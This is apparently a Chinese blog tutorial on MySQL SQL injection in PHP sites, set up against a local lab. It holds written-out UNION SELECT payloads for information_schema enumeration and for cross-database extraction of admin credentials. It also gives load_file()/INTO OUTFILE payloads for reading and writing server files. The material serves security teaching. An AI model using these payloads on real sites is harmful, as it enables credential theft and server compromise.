【第42课】PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

#知识点:

1、PHP-MYSQL-SQL注入-常规查询
2、PHP-MYSQL-SQL注入-跨库查询
3、PHP-MYSQL-SQL注入-文件读写

MYSQL注入:(目的获取当前web权限)

1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root用户:先测试读写,后测试获取数据
非root用户:直接测试获取数据

演示案例:

1. PHP-MYSQL-Web组成架构

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理
access无数据库用户
mysql里面有内置的管理用户,其中root就是默认数据库管理员用户
网站上面的数据库都在mysql中,由root或一对一用户去管理

1、数据库统一管理(root用户)
每个网站的数据库都由root用户统一管理
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库root用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库root用户  demo01
mysql
	root(自带默认)
		网站A  testA
		网站B  testB

2、数据库一对一管理(不同用户)
自己的网站单独创建数据库用户去管理自己的数据库
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库zblog用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库demo用户  demo01
mysql
	testA用户
		网站A  testA
	testb用户
		网站B  testB

接受的参数值未进行过滤直接带入SQL查询的操作 就是SQL注入产生的原理

攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定 (为什么有mysql注入、oracle注入的叫法原因)

http://localhost:63342/demo01/new.php?id=3
select * from news where id=3

http://localhost:63342/demo01/new.php?id=3 union select 1,2,username,password,5,6 from admin

select * from news where id=3 union select 1,2,username,password,5,6 from admin

mysql
	demo01(数据库名)
		admin(表名)
			username,password,id(列名)
				数据
	Zblog(数据库名)
		zbp_member(表名)
			mem_Name,mem_Password(列名)
				数据

在这里插入图片描述

access注入 sqlmap  靠字典去猜 有可能猜不到表名 列名
Access(单个)
	表名
		列名(字段)
			数据
目的:获取数据

实战中
肯定一步步得到信息
查询数据库名demo01下的表名信息(借助information_schema.tables存储查询)
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'

查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'

2. PHP-MYSQL-SQL常规查询

获取相关数据:
1、获取数据库版本-看是否符合information_schema查询-version()
2、获取数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、获取数据库名字-为后期猜解指定数据库下的表,列做准备-database()
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录全部数据库名信息的表(.代表下一级意思)

在这里插入图片描述
在这里插入图片描述

information_schema.tables:记录全部数据库表名信息的表

在这里插入图片描述

information_schema.columns:记录全部数据库列名信息表

在这里插入图片描述

schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
手工注入

order by 6(代表的是当前表名下的列名有几个)
在这里插入图片描述
union select 1,2,3,4,5,6
在这里插入图片描述
union select 1,2,3,database(),user(),6
在这里插入图片描述
union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘demo01’
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘admin’ and table_schema=‘demo01’
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
union select 1,2,3,username,password,6 from admin limit 0,1
在这里插入图片描述

3. PHP-MYSQL-SQL跨库查询(高权限注入)

影响条件:当前数据库ROOT用户权限
测试不同数据库用户:root demo
在这里插入图片描述

跨库注入

通过B网站的注入点获取A网站的账号密码
获取mysql下所有数据库名:
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
在这里插入图片描述
在这里插入图片描述
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=‘zblog’
在这里插入图片描述
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=‘zblog’ and table_name=‘zbp_member’
在这里插入图片描述
在这里插入图片描述
解决:单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4. PHP-MYSQL-SQL文件读写(高权限)

影响条件:
1、当前数据库用户权限(高权限)
2、secure-file-priv设置(限制目录路径读写的配置)
在这里插入图片描述
在这里插入图片描述
测试不同数据库用户:root demo

select load_file()

在这里插入图片描述
在这里插入图片描述

select 'a' into outfile 'd:/www.txt'

在这里插入图片描述
在这里插入图片描述

读:union select 1,load_file('d:\\1.txt'),3,4,5,6

写:union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径的问题:

1、报错显示获取路径
2、phpinfo页面泄漏

如果不知道路径思路:
利用常见的默认的中间件,数据库等安装配置文件读取有价值信息(比较难)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值